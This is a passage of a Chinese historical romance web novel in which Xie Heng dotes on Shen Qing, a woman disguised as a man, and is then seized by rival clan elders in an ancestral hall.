一只只深秋肥蟹被蒸得圆滚澄黄,像刚从湖底捞出便上了锅,天下所有时令佳肴,无论产地何方,果然最先都是进了谢府的厨房。 鲜美的蟹香和陈烈酒香在玉盘中相容碰撞,再扑到人的鼻尖,勾起人身体里最原始的向往,比面前摆满金银珠宝还让人难以自抑。 她抬手去捏一只蟹,却被谢珩挥手不动声色挡了回去:“还很烫,晚一些再吃。” “我不怕烫……” 话还没说完,她目光一滞,就眼睁睁看着刚刚隔开她的那只手,从盘中捏了一只肥蟹到自己盘中。 “你为什么自己吃?” 但不让她吃? 谢珩抿了抿唇,温和示意她:“你先吃其他的。” 他抬手从手边的胡木匣中取了剪夹刀镊数样工具,这数样比平时日常所用要精细小巧许多,都是用纯银打造,在餐桌上专门用来拆分螃蟹的。 沈青顿了顿,她想起刚才在西厢院时和岳瑛的对话,像有一道水波在心底,由内而外缓缓荡漾开。 她几乎脱口要问出“难道你是要给我拆蟹”这样的话,可是目光落在眼前这人平静无波的俊容上,她又按捺住了。 万一不是呢? 那岂不是显得她自作多情很尴尬? 想了想,她还是先默默吃着自己盘中佳肴,一双清亮的眼睛滴溜溜的,始终被谢珩那套行云流水的拆蟹动作吸引过去。 一只肥蟹,在他分明如玉的长指间,仿佛一间精雕细琢的工艺品。 只见他先用银剪拆了肥蟹两边的腿,再用镊夹将每一只蟹腿中的腿肉取出摆在玉盘中,因为蟹肥,腿肉也跟玉柱一般肥壮。 而后,就看见他指尖握着肥蟹翻转一下,眼中一晃,她看也没看清,那整张蟹壳就被完完整整拆了下来。 蟹心蟹胆之类的内脏被银刀利落几下干净剔出,沈青虽然还在咀嚼其他食物,还是忍不住咽了咽口水,一双墨玉般的眼睛彻底定住,一只螃蟹里,金黄流油的蟹黄几乎要满溢了出来。 她目不转睛盯着谢珩用银勺将满满蟹黄掏出,才将蟹身再次拆卸,蟹身中还有一些肥美碎肉,用刀勺剔出,正好纷纷如雪,洒落在堆满的蟹黄上。 很快,他面前两只玉盘,一只玉盘中是拆好的蟹肉,蟹黄高高拢在中间,上面洒了一层细碎蟹肉,如白雪覆盖山头,而周围是蟹腿的肉有序排列摆放。 另一只玉盘中则是被拆下来的蟹腿蟹壳,谢珩可真是个讲究人,怎么将它们拆下来,就怎么将它们摆放,最后那玉盘里,看上去还是一只完整的肥蟹。 沈青简直叹为观止。 她以前不能理解,食蟹这种直接在桌上拆骨分肉的事情,怎么会被称作一大风雅事?这会儿她彻底明白了,这节骨分明的玉手,这澄黄圆润的肥蟹,这行云流水的拆卸,雅,真雅。 下一瞬,她几乎怀疑谢珩要对着这只被拆分了的肥蟹赋诗一首。 好在并没有,下一瞬,那只盛满蟹黄的玉盘,被递到她面前。 沈青目光无法从玉盘上移开,原本心里头正微微荡开的水波,变成了一阵一阵潮水,打着浪头,此起彼伏扑向岸边。 “你真是给我剥的?” “蟹肉寒凉,沾了酱汁再入口。” “好。”她紧紧压抑住嘴角笑意。 肥美的蟹肉入口,深秋湖水里的鲜香都汇聚于舌尖,再佐以烈酒姜丝的热辣,她舍不得大快朵颐了,一口一口浅尝,都几令人飘飘欲仙。 余光里,沈青瞥见他又从盘中取了一只肥蟹,她一点一点细尝,他就不动声色坐在一旁,继续行云流水将那肥蟹拆得利落干净。 等她盘中见空的时候,又一只盛满蟹黄和蟹肉的玉盘递到眼前。 她不由得抬眸:“你自己不吃吗?” 谢珩目光只落在她身上,清疏的眼底笑意温和:“等你先吃个尽兴。” “……好吧。” 沈青忙别开眼,继续紧紧压抑着唇畔的笑意,尽兴……怎么可能吃尽兴? 不过他话虽这么说,可是等她第四只螃蟹下肚,谢珩就不再动手了。 “蟹肉太寒凉,别一次性吃太多。” 说话间,谢珩已经用雪巾将指尖擦拭干净,厨房里来伺候的小厮也收了那剥蟹的小匣子回去清理。 沈青果然意犹未尽地撇了撇嘴。 如果是从前,什么寒凉不寒凉,她才不会管那么多,肚子疼也要先尽兴了再说,谁知道明天还有没有下一顿? 连她自己都有些出乎意料,面对如此佳肴,她竟然真的克制住自己,已经食过四只,谢珩说不要吃了,她便真的不打算再吃。 虽然她对此时的自己感到陌生,但还是眼睁睁看着自己,在谢珩欣慰的注视下,放下了玉箸。 “那你自己就不吃了吗?” 看着工具都被收走,她忽然想起。 “时辰不早了,我该去衙署了。” 她看着谢珩已经拂衣起身,桌上杯盘几乎没有动过,所以他中午赶回来,就是为了给她剥几只蟹吗? “你何必中午非要回来用膳。” 下意识地一句小声嘟囔,忽然两个人都愣了一下,沈青忙道:“不是,我的意思是…… ” 诶呀,都怪自己太自来熟,居然开始反客为主,竟然不让主人回家了? 谢珩眸底微闪:“不想让我这样为了一顿午膳仓促奔忙吗?” 沈青眼睛眨了眨,确定她是这个意思吗? 不等她答,谢珩已经自己先答:“不论衙署里公务几何,都不及陪你用膳重要。” 沈青眼睛都不眨了,如果别人能透过她那双眼睛,看到她脑子里在想什么,她猜这时候从她眼睛里看去,应该是有一簇簇烟花,在眸光里粲然绽放。 “这些日子会很忙,也许常有二更天回来的日子,不过到了晚膳的时候,我也会先回来与你用了晚膳。”谢珩继续循循嘱咐。 只要他每一次用膳的时候都赶回来,那她便不会趁他不在,去西厢院用饭了。 “好。” 沈青觉得自己好像被耳畔温润的声音蛊惑,这个开口说话的人仿佛不是自己。 等她回过神来,那道清矜如玉的身影已经出了院门,消失在视线之中。 她眸光中的簇簇烟花终于沉寂下来,只留下一些四处散落的火星子。 什么意思? 他怎么能说那样的话? 他怎么在说那样的话时,面色还能如此清淡毫无波澜? 这样显得她很不淡定似的! 哼。 晚膳的时候,谢珩果然匆匆回来陪她用了个晚上,又去了衙署,直到二更天以后,她在睡意迷糊中,听见了他回来的动静,不过实在太困了,等她第二日一睁眼,谢珩的床铺早就被褥叠盖整齐,空无一人。 关于朝中的情况,手下每天都会跟她汇报,谢珩跟世家一些顽固而又位高的长辈们斗得如火如荼,虽然庾、桓以及其他一些世家已经被查办清理过,毕竟百足之虫死而不僵,即便苟延残喘,汇集到一起的力量也不容小觑。 当然,谢珩身边一批世家中的后起之秀也不甘示弱,他们清正凛然,目光长远,亦是后生可畏。 坐山观虎斗的就变成了萧瑞,在晋王的扶持下,天下寒门归依的越来越多,他的势头越发要有与世家争辉之势。 沈青最近不方便露面,反倒乐得清闲。 每天在东院,有谢珩陪她用膳,去西厢,是岳瑛给她准备的温补汤药。 恍惚间,她总觉得,上一次过这种毫不操心的日子,恐怕还是在父母兄长庇佑下,当沈若清的时光。 谢珩虽然早出晚归看不见人,只用膳的时候会匆匆出现,有时候连半柱香的时间都不到。 不过沈青时不时能感受到身边的一些微妙变化。 不说她每日用膳,都是厨房按她的口味变着花样来做出菜肴,有时候她偶尔在哪道菜肴里多夹上几块,第二日那菜肴便会重新上桌,直到某天她夹得少了,立刻又换上其他新式菜肴。 原本卧房里只有淡淡的陈年木香,不知那一日起,房中竟然有了清雅的松竹香,正是冬日里松竹覆雪的凛冽清香。 浴房里的澡豆药包,每天都换着不同新奇模样和气味。 软榻上的锦被丝绸,更加轻软如云。 神仙日子也莫过于此了吧? 有时候沈青很惆怅地想,由奢入俭难也太难了,等她哪天回了沈府,要花多少钱才能继续享受这样的生活啊? 不过她没有忘记卧房中的两套头面,摆在这里到底是做什么呢? 谢珩给自己戴得满头珠翠?那简直太吓人了。 那如果真是买给她的呢?不会半夜偷偷在榻边给她戴上吧?她现在也是一个男人啊!那也很毛骨悚然。 好好的一个神仙公子,为什么会有这种奇异怪癖? 偷偷观察了好些天,至少夜里她醒着的时候,还没有出现什么让她不能接受的画面,她白日里去看那两套头面,一丝一毫都没有被挪动过的迹象。 可能他最近太累了,还没有来得偶尔满足一下自己的怪癖? 有时候她也会想到自己身上,如果谢珩真的心悦于她,那到底是心悦作为男人的她,还是作为女人的她? 那问题又回来了,她现在到底算男人还是女人? 不用等她思考清楚,她的身体已经给出答案。 她来葵水了。 好在来葵水的时候,谢珩不在府上,她白着一张脸,几乎是跋山涉水九死一生从东院千里迢迢去了西厢。 进了西厢,大门一关,她进了岳瑛房门,再也没有出来过。 午膳的时候,谢珩得知沈青不在,有一点意外,但还算轻车熟路:“去备她两天念叨了一句的莼菜银鱼羹。” 莼菜不是这个季节的产物,所以前两日沈青随口念叨一句,并没有马上出现在餐桌上。 厨房紧锣密鼓去办,纷纷庆幸,还好这两日皇天不负苦心人,可算是弄到了新鲜莼菜。 清香的莼菜银鱼上桌,即便是清淡汤羹,其鲜美也勾得人食欲大动。 谢珩独自坐在桌边,周身像敛了寒霜,连鸣山都有点不敢靠近。 许久,他望了一眼外面天色:“将汤羹送去西厢吧,别放凉了。跟她说,今日晚膳还是做酒酿肥蟹,让她回东院吃。” 晚膳的时候,他特地铆着劲儿将公务一口气处理完,回东院的时候,鲜肥的酒酿蟹已经腾腾上桌,直到一只只澄黄圆润的肥蟹,再冒不出一点儿热气,冷冷的一双双小眼睛卧在盘子里盯着他看,好像在嘲笑他。 “这些天,她每日都会去西厢吗?”他召来府上管事。 “每天都会去,有时候待的时间长,有时候待的时间短些。” 很好,东院与西厢相隔甚远,也阻拦不住她日日探访。 他抬手捻了捻眉心:“那些给妇人温补的药,岳瑛还是每天都会服用吗?” “是,还是按公子吩咐,岳瑛有需求,就将府库中最好的珍品送去。” “知道了,你先下去吧。” 谢珩抬手将人捻走,眉眼中依旧清冷一片。 直到桌上满满肥蟹和佳肴都被撤走,谢珩这晚没再去衙署。 他回了卧房,卧房中氤氲的,依旧是雪后松竹清香,他知道沈青一定会喜欢,才专门让人制了这香。 软榻上被褥和暖香都是昨日新换上的,是刚进府的西域雪绸加紧定制出来的,她昨晚还嚷着说这被褥实在舒服。 怎么实在舒服,还要眼巴巴去那西厢呢? 对了,还有一盏玉灯,正在赶制中,不过还没有做成。 他枯坐在书案前,明灯大亮,细细打量着屋中一应摆设器具,这间他生活了好几年的卧房,还有哪些不妥贴之处? 不知不觉,已经是二更天,是他这些日子回来的时候。 他心里有一点点希冀,会不会她算着他回来的时间,然后就回来了呢? 可惜窗外只有寂寂沉夜。 是不是因为他平日回来得太晚,她在房中无聊,才会想着要去西厢呢? 也对,不管怎么样,她在东院已经生活了数日,偶尔去一次西厢,也是理所应当的。 很快,他听到了三更天的更哨声,冷月如霜照满庭前屋后。 那些给妇人温补的药,他知道于沈青的子嗣无益,他本来觉得是无所谓的。 可是没有哪个男人会真正接受这样的事实,沈青自然也不会。 她没有让岳瑛放弃喝药。 此时他正坐在两人同眠数日的卧房中,但每晚抬眼可见软榻上那个 人,今夜在与旁人同眠。 再往下想,他几乎无法呼吸,腑内肝肠,寸寸折断。 墙外传来五更最后一轮更哨,案前明灯微弱下来,照映案前清影,容光如玉的清隽面容上,隐约憔悴,连下颌的青青胡茬,好像都在一夜之间冒了出来。 谢珩面无表情抬手一捻,伏在灯台上微微跳跃的灯芯瞬间堙灭。 冷月褪去,檐上寒霜清光铺洒桌边。 第85章 第85章想趁机亲她吗? 接下来的两日,谢珩依旧如常,每日点卯上值处理朝中事物,到了午膳和晚膳的时间,总是会风雨无阻回谢府。 谢府的厨房,也绞尽脑汁,变着花样按沈青的口味喜好钻研各种菜肴,这些看起来精致又可口的菜肴热腾腾上桌,又在深秋冷冽的餐桌上一点一点凉透得毫无颜色,再被渐次撤下桌。 无一例外。 东院更深露重的一盏明灯,与冷月相照,总是待屋檐上渐渐覆了一层清霜,再到晨曦清阳洒在那一层清霜上,屋中明灯才俶尔熄灭。 公子身着绛红官服,肃雅清正,踏下玉阶,一路款款步下如生清霜。 沈青至少是在两日后才勉强缓过神来,她抱着一只保命的汤婆子,白着小脸窝在榻上,活像一只无精打采的小病猫。 “珩公子那边来人请,说院中架了小石锅,烙一些牛羊肉,正好深秋用来滋补身体,看你过不过去?” 岳瑛推门进来,很尽职尽责转述东院来人的话。 一想到西厢与东院相隔迢迢,沈青有气无力摆摆手:“你看我现在这样,像是能出门的样子吗?” 送走东院的人,岳瑛在沈青身边坐下:“你要是再不回去,我只怕珩公子要哭了。” 沈青哼唧着翻了个身,有一点脸热:“你可别乱说,他这人小肚鸡肠的,小心找你麻烦。” “你自己算算,这几日东院来过多少人?” “我都跟来的人明明白白说了,这几日不会过去,谁让他每天还派人来请。” “因为人家每天都变着法搜罗了各种山珍海味等你赏脸去品尝啊。不过话又说回来,要真碰上个厉害的主母,珩公子这样不安分的,只怕要被发卖……” “诶呀,我知道了知道了!” 沈青嗔着一张脸,一把用被子罩住自己脑袋,好一会儿,听到岳瑛摇头叹气出门的声音,她一张脸越发烫得厉害,忙掀开被窝一点小角,确定岳瑛真的出门,她才重新把被子退到胸前。 她不用算,但是知道,只是来西厢这两日,午膳、晚膳甚至夜里就寝休息的时间,东院总有理由过来请人。 明明她遣人回话说这几日都会待在西厢这边,可是那回话好像一颗石头被闷闷抛入湖底后一声不吭沉了下去,每到午膳或晚膳时候,东院总有新鲜菜式在等着她。 仿佛她才是东院真正的主人一般。 她心里突然有点说不上来的难受,等她回了沈府,难道谢珩还要天天派人去沈府相邀吗? 不知是不是东院每日的菜肴太过诱人,西厢的日子竟然变得漫长起来。 好不容易又捱了两日,沈青总算勉强恢复些生龙活虎的力气,等这日午膳东院又派人来请时,她便跟着那小厮去了东院。 在东院食厅的餐桌前见到谢珩时,沈青都吓了一跳,才几日不见的光景,只是一道背影,她看在眼中都觉得莫名地黯淡憔悴。 最近朝局之事这么蹉跎人吗? 可是她所知的消息,现在应该黯淡憔悴的应该是谢道清吧? “下去吧。” 听到脚步,那道清瘦身形未动,声音有点无力。 沈青不解:“下到哪里去?” 枯坐在桌前的人猛然回过身来,看向来人,目光在她脸上逡巡一瞬,好像终于得到一个肯定的答案,微松了口气:“你来了啊。” 他打量过来的同时,沈青目光也怔了怔,那张绝世容光的面容,憔悴黯淡,比背影更甚。 她不动声色绕到餐桌前坐下,各色菜肴果然精致丰富更甚从前,好些食材根本不是这个季节会有的,不知谢府的厨房有何扭转时令的妙法,凛冽深秋的餐桌上,能飘散出夏日的清荷藕香。 “桌上菜肴摆了许久,你为何不动筷呢?” “……我想等你。” “那我要是没来,你就不吃了吗?” 谢珩睫羽微垂,掩盖住眼底的一点无措,他本意不是想要让她有压力的。 “你来不来,都无妨。” 沈青没有再继续追问,她利落地举起玉箸:“那就开吃吧。” 这几日本来就吃得少,今日好不容易恢复些胃口,结果从西厢走到东院,简直要耗尽她所有力气,这会儿终于可以大快朵颐了。 谢珩没有动筷,垂眸看着眼前埋头用膳的人,几日不见的光景,他觉得她看上去没前些日子那样精神,眉眼唇色,略显得苍白。 是不是岳瑛在起居上不够细心? 他眉头不由得轻蹙,想到了沉溺于后宫声色中的孝武帝,一张脸也总莫名浮肿苍白。 还好沈青看上去倒没这么严重…… “你怎么不吃啊?” 思忖间,一张微微苍白的面容从玉盘中抬起,他完全确定,绝对没有孝武帝那样夸张。 压在心头的一块大石头被微微挪开:“好,这就吃。” 看着眼前人埋头继续大快朵颐,谢珩终于被勾动一点用膳的欲望,前几日什么山珍海味入口都如嚼蜡,现在竟然能尝出这些佳肴的美味了。 真是令人无奈。 一顿饭的时间很快过去。 沈青心满意足:“你今日怎么还不用去衙署?” 谢珩没有答她:“今日晚膳你还过来吗?” 沈青一想到西厢和东院这么相隔迢迢,跑这么远来吃这么一顿饭,她是真想回绝,可是她真受不了眼前这人看他的眼神,那样眼波清润的眸子里,染上一层无辜的祈求,搞得好像她无缘无故打了他一顿? “晚膳还来。” 那双无辜祈求的眸子顿时有了希冀:“那用过晚膳就宿在东院了吗?” “今晚还是得睡西厢。” 这一次沈青答得斩钉截铁,她身上葵水还没完全结束,不能露馅。 刚刚闪过一丝澄亮的眸子瞬间堙灭:“能过来用膳也很好。” 像是在回答她,又像是安慰自己。 沈青不敢多留,赶紧撤了。 再一次穿亭过院,从东院又遥遥往西厢回的时候,她蓦然生出一点奇异的错觉。 跑这么远过来用膳是为什么呢? 为了雨露均沾吗? 天啊,要是真有三宫六院,可太麻烦了,要是人人都像谢珩一样,让人怎么好去一碗水端平呢? 回了西厢院,沈青尽量每次用膳都在东院跟谢珩一起,夜里的时候,还是回西厢,很快,她身上的葵水彻底结束,但她好像也没有要回东院去住的意思。 在西厢院住的这些日子,她算是回过神来了,这才是她住在谢府最正常的生活啊。 不管是谢府上下还是外面其他人眼中,她和岳瑛才是一对夫妻啊,现在她们同时被接到谢府,一个住西厢院,一个跟男主人睡一间房,这怎么看都很奇怪吧? 当时是怎么就住进谢珩房间了? 就是那天在沈府外的对峙,她大概脑子被夜风吹坏了,来谢府就是被安置在谢珩的房中休息上药,然后是沐浴,然后被谢珩扯了个什么乱七八糟的理由,好像就是这样,住了一晚……又一晚……然后就彻底习惯了? 如果不是这次来葵水,在西厢打开了正常的借宿生活,她都没有意识到这是件多么怪异的事情! 于是她就打算在回沈府前,就一直住在西厢院了,反正岳瑛怎么赶她也不会走的,她会很早就沐浴完先躺榻上再说。 所以每次用完晚膳,她也会早早回西厢院,谢珩事务繁忙,每次陪她用完晚膳,总还要再赶回衙署,虽然感觉他面色有点沉寂,但始终也没有多说什么。 这天还是用过晚膳, 估摸着他又要回衙署了,沈青起身跟他告别:“那我就先回去了。” “等等。” 破天荒的,谢珩竟然开口挽留:“前些日子,我请匠师定制了一盏青玉灯,不如今晚……留下来赏灯?” “赏灯?” 沈青甚至有点没太听懂,让她赏一把刀一柄剑还好,赏琴赏画虽然外行,也能赏个乐子,赏灯是什么? 见她迟疑,谢珩斟酌了一下,尽量掩盖住声音里的焦灼,语气轻而笃定:“你也许会喜欢的。” 她会喜欢一盏灯? 但是,她还真是被他说得好奇起来,什么样的灯她会喜欢? 不得不说,富贵人家的赏玩之物就是令人难以想象,上至青楼赌坊,下至斗鸡蟋蟀,中间什么笔墨纸砚琴棋书画,无所不用其极,所以一盏灯,大概也能做到令人叹为观止。 于是她再一次踏进谢珩的卧房。 还是很熟悉的布置,呼吸间都是雪压松竹的暗香,她下意识去看睡了好些日子的软榻,竟然还一如既往,被褥枕头都替她铺叠整齐,仿佛她还每日依旧睡在这儿。 很快,她在书案上见到了那盏灯。 青玉灯罩,白玉底座,那青玉不是澄澈无暇的玉,长在玉质本身的纹脉横生,像一幅毫无章法的画,却比千篇一律的美玉更加妙趣横生。 确实是很独具一格的一盏灯。 但……也还好吧? 她想了想,还是认真夸了一下:“是挺好看的,很衬你的气质。” “你先去沐浴,晚些来看。” 见她满意,谢珩不由得莞尔。 等沈青再一次在谢珩浴房中沐过浴,再一次躺进那张被烘得香香暖暖的软榻里,望着头顶那一根一会儿陌生一会儿熟悉的屋梁,她脑子里只有一个念头。 一定是因为这辈子她没睡过这么香软的床榻,才会这么经不住劝! 因为很气自己的不经劝,所以她也不想跟谢珩说话。 谢珩好像没有察觉到软榻上的人格外沉默,他将房中所有明灯暗烛一盏盏熄灭,沈青眼睁睁看着卧房一点一点陷入黑暗。 最后连窗页都被合上,清霜冷月的幽光都不许进来。 沈青一双眼睛彻底瞪圆。 这是做什么? 这不太好吧? 谢珩不会是……想趁机亲她吗? 那她要不要躲开啊!? 黑暗会无限放大人的观感,同样,纷乱的思绪也会变得争先恐后。 好在她还没有进一步往下想,眼前朦朦好像有了一点亮意。 清幽,恬淡,像月光,像雪色,无声无息驱散了眼前黑暗。 是月色和雪色的交融。 沈青不由得坐起身来,月色与雪色交融间,被大雪倾覆,被月色铺洒,连绵起伏的崇山峻岭。 是莽山啊。 莽山群峰连绵,落入她清亮的眼眸,她眸底泛起一层水色,将莽山群峰晕染模糊。 她从来没有向任何人表露一丝,她在心底是如何对莽山朝思暮想。 月色与雪色中,一抹绝色立在书案前,长身如玉,倾城风姿。 她此时身在小金顶的木屋,又身在谢珩的卧室。 如梦似幻,梦里不知身是客。 清矜风雅的公子眉眼深深,缓缓向她开口。 “沈青,我真的很想念小金顶的时光。” “其实……我也是。” 第86章 第86章我们可以去过继一个孩子…… 稀里糊涂的,沈青又重新住回谢珩的卧房,没有办法,那盏青玉灯实在太别出心裁。 午夜梦回的皎然灯影里,她总觉得自己就回到了小金顶。 虽然她已经反应过来,以外客的身份住进男主人的卧房里,实在是奇奇怪怪,但是没有办法,她住得很习惯,而且住得也很开心。 毕竟住得这样香软,吃得可口,还有一个这样绝色公子相伴,自然心情好。 谢珩最近心情好像也不错,清疏眉眼间,总是不经意氤氲着淡淡笑意。 她就说嘛,这天下哪有人跟她待在一起,还会心情不好? 谢初原的案子已经过去快二十来天,跟当初陈郡侯的案子是一样的,真凶是谁,能不能查出来,一点也不重要。 重要的是,朝堂中明争暗斗的各方人士,各自希望凶手是谁。 最后所谓查凶,依然是不同势力借机互相倾轧,争权夺势。 前有沈青拉扯铺垫,后有谢珩顺势而上,不管怎么样,以王谢二家为首的各世家大族渐渐江河日下已成定局。 洛京城的气氛风声都缓和了不少,谢珩最近几日也不再那样早出晚归,通常用过晚膳,便不再出门。 快要入冬,夜里的时候尤为清寒。 谢珩的卧房里铺有地龙,不管深夜外面多么露寒霜冷,他的房间依然暖融如春,沈青沐过浴,一双脚上甚至可以只穿了足衣,踩着地上铺就的厚厚绒毯,一路飞奔钻回自己软榻上。 她甚至还偷偷打听过,地龙一日花费几金,问清以后,更让人焦心,不闻大师那一签到底何时才能应验呢?她怎么还没扶摇直上? 脑海酝酿着升官发财的事,在软榻上翻覆了好一会儿,谢珩才从书案前合上最后一份案牍,起身灭了案上明灯。 自从沈青住了过来,平日他要在书房里处理的公务,都带回了卧房,沐浴过后总要再坐在书案前批阅一阵。 卧房中短暂地陷入一会儿黑暗,然后青玉灯亮,被雪色与月色笼罩的莽山群峰又隐隐约约跃然于眼前。 呼吸间也是雪中松竹的气息。 夜深人静门窗紧闭的时候,这盏青玉灯给人卧房中的人造了一场梦。 虽然知道此身在梦中,沈青总忍不住感叹:“天气冷的时候,这里完完全全,真就变成了小金顶。” 天气冷的时候? 谢珩憧怔间想起,他被掳上小金顶时,那日正是莽山初雪才落,恍然一算,将将就是去年的这个时节。 而后便是连日大雪,覆满山头,再看不见莽山群峰青翠。 那时候的她毫无芥蒂,几乎要夜夜与他同塌而眠。 不由分说,蛮横霸道,从不给人拒绝的余地。 “也不完全像。” 已经在床榻上躺下的谢珩轻声回应。 清冷平淡的声音,这要是以前,沈青肯定听不出端倪,最近可能跟他待久了,她竟然能透过同一种语气,感知出对方不一样的情绪。 比如现在,肯定就是心绪有些低落。 沈青直接便问:“你怎么了?” 怎么了? 谢珩其实有点埋怨自己,这几日来,无论是用膳还是就寝,沈青都在他身边,他本来足够满足。 可人有时候就是奇怪,一面沉溺于自己营造的美好幻象中,一面又忍不住去戳破幻象的假面,好让自己沉溺的时候,能保持一点清醒。 也许还是抱了一点不切实际的希冀,他终于忍不住问了管事,他的那点希冀并不切实际,那些助妇人有孕和温补的药,岳瑛依然每天都在喝。 而沈青,依然会一日不落去往西厢,哪怕每天只是小坐一会儿。 沉默了好一会儿,谢珩才开口:“没怎么。” 至少她用膳和就寝都在东院,已经该是极大的满足了,千头万绪又重新绕回起点。 她对孩子有执念也没关系,毕竟还年轻,总是不那么容易死心的。 清疏平淡的声音在卧房里轻轻淡开,他下意识想去看一眼软榻上的人,目光落下时,先看到软榻前小几上赫然摆了几只石榴。 “今日出门买了石榴吗?” 因为洛京城里风声渐松,他知道沈青偶尔会出门晃荡,也会有她自己的一些事要处理。 沈青漫不经心“嗯”了一声:“你记不记得,我第一次来你府上就买了一大袋石榴,那会儿石榴才刚上摊呢,这次还是那个白胡子老头,说这是今年最后一摊石榴了,要等明年了。” “时间过得可真快。”最后她忍不住轻叹。 隔着皎洁清幽的微光,隐约看得清那几颗石榴的硕大饱满,有一颗石榴已经被剥开吃了一半,还剩一半,露出密密麻麻的石榴籽儿。 “沈青。”她的名字比他的思绪更先脱口而出,刚才绕来绕去让自己重回理智的思绪,在平静中,悄然无声崩塌。 “啊!?” 沈青被他这样郑重其事的一声吓了一跳,不是在说石榴吗?搞得好像突然要把她拖起来讨论朝政似的。 隔了好一会儿,她才听见谢珩清润沉缓的声音在不远处徐徐传来。 “如果你真的很想要孩子的话,谢氏伶俐可爱的孩子也很多,我们可以去过继一个。” 这下轮到沈青彻底沉默了。 孩子,过继,我们? 这她该怎么 回答? 虽然已经后知后觉,但被戳出一瞬,她也还算迅速反应过来,应该是她每天在西厢喝的药,被谢珩误以为是岳瑛喝的,以为她急切地想要一个孩子。 她确实是想要一个孩子,但……也不是他想的那种…… “以后……以后再说吧。” 她的身子在香软的被窝里绷得僵直,声音却在微微发颤。 她竖着耳朵等了好一会儿,也没有等到对方的回应,甚至连一点清浅的呼吸声都听不见。 但她也不敢有起身去查看他是否还在床榻上这种大动作,只敢在被窝里窸窸窣窣翻了个身,背对着后面的人,这样她才能心安理得感受被埋在被窝里肆意打鼓的心跳。 她喜欢谢珩。 那颗狂跳不止的心脏,鼓动着周身所有血脉,排山倒海般冲着她叫嚣。 喜欢谢珩,是跟喜欢谢十三不一样的。 她想要一个孩子,而谢十三正好长得英俊,又出身名门,就很适合。记得那时候谢十三气性可大了,各种不配合,她也乐在其中,逗着好玩。 像豢养了一只漂亮又高傲的宠物,自有其中的乐趣。 所以就算后来得知他骗了自己,她虽然生气,也仅仅是生气而已,被一只豢养的小宠物咬了一口,有什么好计较的,扔了就是。 可是现在感觉不一样了。 她还是想要与谢珩亲近,可是也不是小金顶上那种勾勾搭搭的亲近,是喜怒哀乐都与对方深深的交融。如果以后有一个孩子,她居然会想象到谢珩温和可亲教导孩子功课的模样。 反正至少……要是此时的他还像在小金顶上那样骗她,她绝对不会气一气就一笑置之。 应该会把他挫骨扬灰吧。 两人的沉默在皎洁清光里彼此交织,漫漫长夜很快过去。 想着昨夜的种种,沈青破天荒有些没太睡好,迷迷糊糊中,谢珩应该很早就出了门。 整整一上午,她都懒懒窝在暖融的卧室里,重新认真考虑,让谢珩做自己孩子父亲的可行性。 也许……不再仅仅是孩子的父亲。 不知不觉,一上午过去,衙署中来人回话,说谢珩今日有事,不能回来陪她用午膳了。 这是她来谢府后第一次。 按理说,现在的局势于谢珩越发有利,明显感觉这些天他行程都舒展了很多,怎么突然连午膳都不回来了? 沈青心里隐隐有不好的感觉,传了手下来问,并没有发现什么异常。 等到晚膳的时候,谢珩依然没有回来。 她再坐不住,起身出了东院,再一路出了谢府,迎面碰上前来报信的手下。 “老大!刚刚谢道清和谢家数十位长辈,带了亲兵,将临时去宫中面圣的珩公子拦截,珩公子的亲兵还不及赶到,直接将人带回谢家旧宅的祠堂开堂审问了。” 沈青秀眉一横:“这么堂而皇之就直接抓人吗?” “给珩公子安了个什么违背祖宗宗法的罪名,算是族中家事,旁人一时也不好插手。而且……这一次不仅是谢家,还有四大世家中其他三家,以及洛京中颇有声望地位的不少世家都到场了,只怕要动他们世家的大家法。” “让萧瑞带人来把谢家祠堂给我围了,听我的指令行事。” 沈青撂下最后一句话,俊秀青影消失在华灯初现月上枝头的街巷中。 今夜的月色可真明亮皎洁,从枝头攀上屋宇,最后挂在碧霄之上,像一只白玉盘,落了一地清辉,映得青砖上那双奔跑的黑靴,飒沓不羁。 祠堂在谢家旧宅的最北,沈青直接绕去北门,门外是谢珩与谢道清之间的亲兵互相对峙。 沈青站在巷角等了一会,两队亲兵谁也不能拿谁怎么样,而她的人,已经到了。 没有让他们直接露面,她无言跟萧瑞遥遥打了个照面,眼神交汇一瞬,萧瑞会意,抬手领着人布置埋伏。 沈青则青衣利落,悄无声息翻墙而过。 不得不说,谢家这一次行动格外缜密,府上不仅仅是谢家,还有其他各世家也带了不少人马,将这间祠堂上下守得密不透风,沈青绕了半天,竟然没找到一个可以直接突破进去的位置。 她只好轻轻落在一处梁上,轻轻拍了拍身边的人:“兄弟。” 蹲守在梁上的暗卫回头看清眼前人,眼睛一瞪,双唇一张,声音还没来得及从喉咙里发出来,身子一歪,就软软往后倒。 沈青伸手一捞,将人放在梁后,自己则心安理得坐在他原先坐的位置上,扬起下巴观看祠堂中的情景。 可真是热闹。 祠堂明火憧憧,照应出北面供台上每一张黑森森的牌位,金漆字迹清晰可辨,仿佛真是列祖列宗们威严肃穆端坐上方。 堂院中,不仅是谢家长辈和子弟,其他各世家德高望重的长辈都汇聚于此,面目各有各的冷肃,那一张张冷脸,跟那些供台上的牌位也没什么区别。 真是活人死人齐聚一堂。 跪在中间那道颀长清峻的身影,就是连官服都没有换下的谢珩,他双膝的膝窝被两根粗重木棍压着,显然这次不是他主动跪下的。 可惜从她的角度,看不见他的表情,不过就算被压得很疼,他清疏眉眼间,应该依旧平静无波。 沈青捏了捏衣角,不代表她心中不会有波澜。 站在台阶上还在叩告天地祖宗的,自然是谢道清。 “丞相,我们大小世家近来连受重创,都是拜此人所赐,事已至此,难道还要心慈手软吗?等我们世家真的到万劫不复的境地,就来不及了,到时候丞相可就是千古罪人了!” “就是!我们不能再坐以待毙了!” 此起彼伏的催促声中,谢道清缓缓转身,月光与烛火将他的身影长长映在阶上,沈青注视着他的眉眼,有一点隐忍的杀意,若隐若现。 看着世家在连番失利步步逼退下,终于图穷而匕现。 虽然沈青已经摸清,这洛京之中,所有的法度和规矩,都已经崩坏,早就变成一纸纸废文。 本质上跟莽山没有区别,但是那些杀伐不会直接翻到台面上,总还是会有一番粉饰。 现在当他们连粉饰都没有了,这些世家大族行事起来,真是比渝州诸匪还要粗莽。 不过也说明,他们确实走投无路,只能殊死一搏。 将谢珩逮住,随便找个什么理由,在祠堂施行家法,先取了他的命再说,等过后烂摊子怎么收拾,那也过后再说。 重要的是,只要这次能取他性命。 其他后话,要付出多大代价,都无所谓了。 第87章 第87章有一个绝世公子,正在捧…… “瑾之,沈青此人进京以来,不知搅弄出多少是非,你也不过是受其蛊惑。只要你交出沈青,过往种种,我也可以不再追究。” 